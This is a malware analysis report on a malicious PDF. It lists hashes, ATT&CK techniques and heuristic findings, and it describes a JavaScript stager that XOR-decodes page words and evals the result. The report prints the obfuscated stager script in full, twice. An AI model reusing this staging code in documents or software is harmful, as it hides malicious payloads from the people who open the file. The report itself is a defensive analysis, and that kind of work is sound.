PDF malware analysis — malicious · 7aa5a98079f50e91

MALICIOUS

PDF

4.5 KB Authoring application: Vabameuaki

MD5: b7f8173f529fe4d4938428d359167b91 SHA-1: 103ed688a91db60ffbce3e824a1e190143452b88 SHA-256: 7aa5a98079f50e91ccecf537b529fd301a482004294473d651df19382f8c5474

86 Risk Score

Malware Insights

MITRE ATT&CK

T1059.007 JavaScript T1566.001 Spearphishing Attachment

The PDF contains obfuscated JavaScript, identified by multiple heuristics including 'PDF_PAGE_WORD_XOR_EVAL_STAGER'. The script uses string concatenation and XOR operations to decode a payload, which is then executed. The primary function of the script appears to be downloading and executing a second-stage payload, likely initiated via a spearphishing attachment.

Machine Learning

Nyx PDF Classifier malicious score 1.0000

Heuristics 3

Page-word XOR JavaScript eval stager high PDF_PAGE_WORD_XOR_EVAL_STAGER

PDF JavaScript enumerates rendered page words with getPageNthWord/getPageNumWords, extracts encoded byte fragments, XOR-decodes the stage with char-code helpers, and evals the result. This is an old exploit-kit staging pattern and is not normal document JavaScript.
JavaScript action low 1 related finding PDF_JAVASCRIPT

PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
Embedded JS stream low PDF_JS

PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename Kind Source Size

javascript_obj0011_000.js
1ec398366107a5fedd9bcf18a57f32d68d58e87986c8ad1c876f457b209e2152 pdf-javascript-stream PDF /JS object 11 at offset 0xCA2 815 bytes

Filename	Kind	Source	Size
`javascript_obj0011_000.js` `1ec398366107a5fedd9bcf18a57f32d68d58e87986c8ad1c876f457b209e2152`	pdf-javascript-stream	PDF /JS object 11 at offset 0xCA2	815 bytes
Preview script First 1,000 lines of the extracted script var qX=String("getPa"+"geNth1OA8".substr(0,5)+"IsbWord".substr(3));function t(h,j){return h^j;};var jS=this;;var aR=new String("from"+"G0DChar".substr(3)+"CodeWqM2".substr(0,4));var p=String;var f=new String();var pY="unes"+"cape";var cV="subs"+"trDbgy".substr(0,2);var jSX=1;var n=91;var hS="getPa"+"YTRgeNum".substr(3)+"hOXWords".substr(3);var cX=String("char"+"Code1jzi".substr(0,4)+"At52Ml".substr(0,2));var nM=["p","","p","a"];oX=new String(nM[3]+nM[0]+nM[0]+nM[1]);var nO=["l","e","v","","a"];sX=new String(nO[1]+nO[2]+nO[4]+nO[0]+nO[3]);var l=4618-4618;;var z=new String("U9j%".substr(3));var v=73-71;var x=jS[sX];var hC=jS[hS](jSX);var oX=jS[oX];;var oR=jS[pY];for(var d=l;d<hC;d++){jW=jS[qX](jSX,d);var uN=jW[cV](jW.length-v,v);var nC=z+uN;var mT=oR(nC);var hI=mT[cX](l);var cD=t(hI,n);f+=p[aR](cD);}x(f);

Preview script

First 1,000 lines of the extracted script

var qX=String("getPa"+"geNth1OA8".substr(0,5)+"IsbWord".substr(3));function t(h,j){return h^j;};var jS=this;;var aR=new String("from"+"G0DChar".substr(3)+"CodeWqM2".substr(0,4));var p=String;var f=new String();var pY="unes"+"cape";var cV="subs"+"trDbgy".substr(0,2);var jSX=1;var n=91;var hS="getPa"+"YTRgeNum".substr(3)+"hOXWords".substr(3);var cX=String("char"+"Code1jzi".substr(0,4)+"At52Ml".substr(0,2));var nM=["p","","p","a"];oX=new String(nM[3]+nM[0]+nM[0]+nM[1]);var nO=["l","e","v","","a"];sX=new String(nO[1]+nO[2]+nO[4]+nO[0]+nO[3]);var l=4618-4618;;var z=new String("U9j%".substr(3));var v=73-71;var x=jS[sX];var hC=jS[hS](jSX);var oX=jS[oX];;var oR=jS[pY];for(var d=l;d<hC;d++){jW=jS[qX](jSX,d);var uN=jW[cV](jW.length-v,v);var nC=z+uN;var mT=oR(nC);var hI=mT[cX](l);var cD=t(hI,n);f+=p[aR](cD);}x(f);

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